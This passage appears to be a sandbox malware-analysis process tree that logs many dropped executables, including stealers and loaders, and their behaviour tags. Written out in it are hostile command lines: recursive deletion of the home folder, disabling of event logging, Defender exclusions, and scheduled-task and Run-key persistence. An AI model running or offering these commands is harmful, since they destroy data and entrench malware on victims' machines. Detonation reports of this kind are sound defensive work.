-
C:\Users\Admin\AppData\Local\Temp\nsv4DA1.tmpC:\Users\Admin\AppData\Local\Temp\nsv4DA1.tmp5⤵
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main4⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\1000399001\for.exe"C:\Users\Admin\AppData\Local\Temp\1000399001\for.exe"4⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\configurationValue\STAR.exe"C:\Users\Admin\AppData\Roaming\configurationValue\STAR.exe"6⤵
-
-
C:\Users\Admin\AppData\Roaming\configurationValue\bott.exe"C:\Users\Admin\AppData\Roaming\configurationValue\bott.exe"6⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"6⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 37⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000400001\lolololoMRK123.exe"C:\Users\Admin\AppData\Local\Temp\1000400001\lolololoMRK123.exe"4⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000401001\National.exe"C:\Users\Admin\AppData\Local\Temp\1000401001\National.exe"4⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000402001\987123.exe"C:\Users\Admin\AppData\Local\Temp\1000402001\987123.exe"4⤵
- Checks SCSI registry key(s)
-
-
C:\Users\Admin\AppData\Local\Temp\1000404001\dayroc.exe"C:\Users\Admin\AppData\Local\Temp\1000404001\dayroc.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1000405001\goldprime12241421421.exe"C:\Users\Admin\AppData\Local\Temp\1000405001\goldprime12241421421.exe"4⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000406001\phonesteal.exe"C:\Users\Admin\AppData\Local\Temp\1000406001\phonesteal.exe"4⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "THYAWYFT"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "THYAWYFT" binpath= "C:\ProgramData\mkiurbjjkopl\vzxmpncsktsu.exe" start= "auto"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "THYAWYFT"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog5⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000407001\daisy123.exe"C:\Users\Admin\AppData\Local\Temp\1000407001\daisy123.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000408001\lumma123142124.exe"C:\Users\Admin\AppData\Local\Temp\1000408001\lumma123142124.exe"4⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000409001\new.exe"C:\Users\Admin\AppData\Local\Temp\1000409001\new.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1000411001\Amadey.exe"C:\Users\Admin\AppData\Local\Temp\1000411001\Amadey.exe"4⤵
- Drops file in Windows directory
-
-
C:\Users\Admin\AppData\Local\Temp\1000412001\1800.exe"C:\Users\Admin\AppData\Local\Temp\1000412001\1800.exe"4⤵
- Checks computer location settings
- Adds Run key to start application
- Modifies registry class
-
C:\ProgramData\viewer\viewer.exe"C:\ProgramData\viewer\viewer.exe"5⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
\??\c:\program files (x86)\internet explorer\iexplore.exe"c:\program files (x86)\internet explorer\iexplore.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000410001\redline1234min.exe"C:\Users\Admin\AppData\Local\Temp\1000410001\redline1234min.exe"4⤵
- Checks BIOS information in registry
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "FLWCUERA"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "FLWCUERA" binpath= "C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe" start= "auto"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\1000410001\redline1234min.exe"5⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 36⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "FLWCUERA"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog5⤵
- Launches sc.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\install.exe"C:\Users\Admin\AppData\Local\Temp\Files\install.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Files\install.exe"C:\Users\Admin\AppData\Local\Temp\Files\install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Checks processor information in registry
-
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\netconn_properties.exeC:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/netconn_properties.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\netconn_properties.exeC:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/netconn_properties.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\registers.exeC:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/registers.exe4⤵
- Loads dropped DLL
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t """4⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exeC:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t ""5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe""4⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exeC:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe"5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe""4⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exeC:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe"5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\msiexec.exe""4⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exeC:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\msiexec.exe"5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\msiexec.exe""4⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exeC:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\msiexec.exe"5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\smss.exe""4⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exeC:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\smss.exe"5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\smss.exe""4⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exeC:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\smss.exe"5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\conhost.exe""4⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exeC:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\conhost.exe"5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\conhost.exe""4⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exeC:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\conhost.exe"5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe""4⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exeC:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe"5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe""4⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exeC:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\svchost.exe"5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\csrss.exe""4⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\_MEI29442\exe\upx.exeC:\Users\Admin\AppData\Local\Temp\_MEI29442\exe/upx.exe -t "C:\Windows\System32\csrss.exe"5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\osminogs.exe"C:\Users\Admin\AppData\Local\Temp\Files\osminogs.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\notepad.exe"C:\Users\Admin\AppData\Local\Temp\Files\notepad.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Remove-Item $HOME -Recurse3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\32.exe"C:\Users\Admin\AppData\Local\Temp\Files\32.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5452 -s 2763⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\workforroc.exe"C:\Users\Admin\AppData\Local\Temp\Files\workforroc.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe"C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\toolspub1.exe"C:\Users\Admin\AppData\Local\Temp\toolspub1.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\rty25.exe"C:\Users\Admin\AppData\Local\Temp\rty25.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\X1.exe"C:\Users\Admin\AppData\Local\Temp\Files\X1.exe"2⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "TQBWNGYW"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "TQBWNGYW" binpath= "C:\ProgramData\odvhyxzhhqlu\gzexiztdwrwd.exe" start= "auto"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "TQBWNGYW"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\well.exe"C:\Users\Admin\AppData\Local\Temp\Files\well.exe"2⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://accounts.google.com3⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xd0,0xd4,0xd8,0xac,0xdc,0x7ffa71759758,0x7ffa71759768,0x7ffa717597784⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1672 --field-trial-handle=1856,i,2745608857724057753,13800263960839702698,131072 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1536 --field-trial-handle=1856,i,2745608857724057753,13800263960839702698,131072 /prefetch:24⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Helper.exe"C:\Users\Admin\AppData\Local\Temp\Files\Helper.exe"2⤵
- Enumerates connected drives
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Helper Company LLC\Helper 1.0.0\install\Helper.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\Files\Helper.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\Files\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1707811454 "3⤵
- Blocklisted process makes network request
- Enumerates connected drives
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\file.exe"C:\Users\Admin\AppData\Local\Temp\Files\file.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\npp86Installerx64.exe"C:\Users\Admin\AppData\Local\Temp\Files\npp86Installerx64.exe"2⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exe3⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cpu-z_2.09-en.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cpu-z_2.09-en.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NINJA.exe"C:\Users\Admin\AppData\Local\Temp\Files\NINJA.exe"2⤵
- Drops startup file
- Adds Run key to start application
- NTFS ADS
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn SBADLH.exe /tr C:\Users\Admin\AppData\Roaming\Windata\system.exe /sc minute /mo 13⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn SBADLH.exe /tr C:\Users\Admin\AppData\Roaming\Windata\system.exe /sc minute /mo 14⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\WSCript.exeWSCript C:\Users\Admin\AppData\Local\Temp\SBADLH.vbs3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\T1_Net.exe"C:\Users\Admin\AppData\Local\Temp\Files\T1_Net.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\lumma.exe"C:\Users\Admin\AppData\Local\Temp\Files\lumma.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\lumma.exe"C:\Users\Admin\AppData\Local\Temp\Files\lumma.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\TierDiagnosis.exe"C:\Users\Admin\AppData\Local\Temp\Files\TierDiagnosis.exe"2⤵
-
C:\Windows\SysWOW64\cmd.execmd /k cmd < Bathrooms & exit3⤵
-
C:\Windows\SysWOW64\cmd.execmd4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\heaoyam78.exe"C:\Users\Admin\AppData\Local\Temp\Files\heaoyam78.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup8.exe"C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup8.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\rty45.exe"C:\Users\Admin\AppData\Local\Temp\Files\rty45.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\loader.exe"C:\Users\Admin\AppData\Local\Temp\Files\loader.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe"C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\ARA.exe"C:\Users\Admin\AppData\Local\Temp\ARA.exe"4⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\aUs3pwix5Vd1U6IYzTsfZ9E8dEV3MF.vbe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\WJgXY0RCE6WdWGoPyLk7f.bat" "6⤵
-
C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\Msblockreview.exe"C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\Msblockreview.exe"7⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\w-12.exe"C:\Users\Admin\AppData\Local\Temp\Files\w-12.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\jet.exe"C:\Users\Admin\AppData\Local\Temp\Files\jet.exe"2⤵
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ghost.exe"C:\Users\Admin\AppData\Local\Temp\Files\ghost.exe"2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\Files\ghost.exe"C:\Users\Admin\AppData\Local\Temp\Files\ghost.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ladas.exe"C:\Users\Admin\AppData\Local\Temp\Files\ladas.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hv.exe"C:\Users\Admin\AppData\Local\Temp\Files\hv.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /im chrome.exe /f4⤵
- Kills process with taskkill
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Remove-ItemProperty-Path'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'-Name'LibraryApp_for_translators_and_linguists';New-ItemProperty-Path'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'-Name'LibraryApp_for_translators_and_linguists' -Value '"C:\Users\Admin\AppData\Local\LibraryApp_for_translators_and_linguists\LibraryApp_for_translators_and_linguists.exe"' -PropertyType 'String'3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\83f32a3d2dc9e3d9903f395a20b8ddd74a1f35487c6dffd67d9d9a014961f9d0.exe"C:\Users\Admin\AppData\Local\Temp\Files\83f32a3d2dc9e3d9903f395a20b8ddd74a1f35487c6dffd67d9d9a014961f9d0.exe"2⤵
- Checks SCSI registry key(s)
-
-
C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup9.exe"C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup9.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\_vti_cnf.exe"C:\Users\Admin\AppData\Local\Temp\Files\_vti_cnf.exe"2⤵
- Modifies WinLogon for persistence
- Disables RegEdit via registry modification
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C AT /delete /yes3⤵
-
C:\Windows\SysWOW64\at.exeAT /delete /yes4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe3⤵
-
C:\Windows\SysWOW64\at.exeAT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\abc.exe"C:\Users\Admin\AppData\Local\Temp\Files\abc.exe"2⤵
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
-
C:\ProgramData\FE44.tmp"C:\ProgramData\FE44.tmp"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\FE44.tmp >> NUL4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\891b6cff6879ab69ae185a5956987ec46daaf434c60c93589c9ac06e4a4f7005.exe"C:\Users\Admin\AppData\Local\Temp\Files\891b6cff6879ab69ae185a5956987ec46daaf434c60c93589c9ac06e4a4f7005.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\abtc8mhlbehqil.exe"C:\Users\Admin\AppData\Local\Temp\Files\abtc8mhlbehqil.exe"2⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\a0538252234edd82661f55fea05df541c095a9f74368d8dca1582d797a1d084a.exe"C:\Users\Admin\AppData\Local\Temp\Files\a0538252234edd82661f55fea05df541c095a9f74368d8dca1582d797a1d084a.exe"2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\Files\a0538252234edd82661f55fea05df541c095a9f74368d8dca1582d797a1d084a.exe"C:\Users\Admin\AppData\Local\Temp\Files\a0538252234edd82661f55fea05df541c095a9f74368d8dca1582d797a1d084a.exe"3⤵
- Checks SCSI registry key(s)
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Temp1.exe"C:\Users\Admin\AppData\Local\Temp\Files\Temp1.exe"2⤵
- Adds Run key to start application
- Drops file in System32 directory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "WSUS Update Client" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\Temp1.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\SubDir\asg.exe"C:\Windows\SysWOW64\SubDir\asg.exe"3⤵
- Adds Run key to start application
- Drops file in System32 directory
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "WSUS Update Client" /sc ONLOGON /tr "C:\Windows\SysWOW64\SubDir\asg.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svcrun.exe"C:\Users\Admin\AppData\Local\Temp\Files\svcrun.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ransom_builder.exe"C:\Users\Admin\AppData\Local\Temp\Files\ransom_builder.exe"2⤵
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\National.exe"C:\Users\Admin\AppData\Local\Temp\Files\National.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe"C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe"2⤵
- Checks processor information in registry
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Everything.exe"C:\Users\Admin\AppData\Local\Temp\Files\Everything.exe"2⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Setup2010u32.exe"C:\Users\Admin\AppData\Local\Temp\Files\Setup2010u32.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\AITMP0\CleanUp Icons FOP.exe"C:\Users\Admin\AppData\Local\Temp\AITMP0\CleanUp Icons FOP.exe" /s %33⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c mode con:cols=0080 lines=00254⤵
-
C:\Windows\SysWOW64\mode.commode con:cols=0080 lines=00255⤵
- Suspicious use of SetThreadContext
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c title Window Title4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\afolder" mkdir "C:\Users\Admin\AppData\Local\Temp\afolder"4⤵
-
-
